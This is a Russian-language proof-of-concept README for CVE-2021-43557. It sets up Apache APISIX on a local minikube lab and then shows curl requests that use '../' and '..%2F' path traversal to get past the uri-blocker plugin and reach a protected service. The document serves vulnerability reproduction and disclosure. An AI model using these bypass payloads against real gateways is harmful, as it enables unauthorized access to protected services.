## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-XVNPW-K8S-CVE-2021-43557-POC
# Установка
* установите minikube
* установите apisix:
root@kitploit:~
helm repo add apisix https://charts.apiseven.com
helm repo add bitnami https://charts.bitnami.com/bitnami
helm repo update
kubectl create ns ingress-apisix
helm install apisix apisix/apisix \
--set gateway.type=NodePort \
--set ingress-controller.enabled=true \
--namespace ingress-apisix \
--version 0.7.2
kubectl get service --namespace ingress-apisix
* разверните app.yaml: `kubectl apply -f app.yaml`
* разверните маршруты: `kubectl apply -f routes.yaml`
Необязательно, если вам нужно изменить образы приложений:
* (необязательно) соберите docker-образы:
* `cd protected-service; docker build -t protected-service:0.0.1 .`
* `cd public-service; docker build -t public-service:0.0.1 .`
* (необязательно) загрузите docker-образы в minikube:
* `minikube image load protected-service:0.0.1`
* `minikube image load public-service:0.0.1`
# Эксплуатация
## Вручную
Для доступа к публичному сервису:
`kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'`
должен вернуть 200
Для доступа к защищённому сервису:
`kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/protected-service/protected -H 'Host: app.test'`
должен вернуть 403
Для доступа к защищённому сервису в обход uri-blocker: `kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/..%2Fprotected-service/protected -H 'Host: app.test'` Для доступа к защищённому сервису в обход uri-blocker: `kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/../protected-service/protected -H 'Host: app.test'`
Оба должны вернуть 200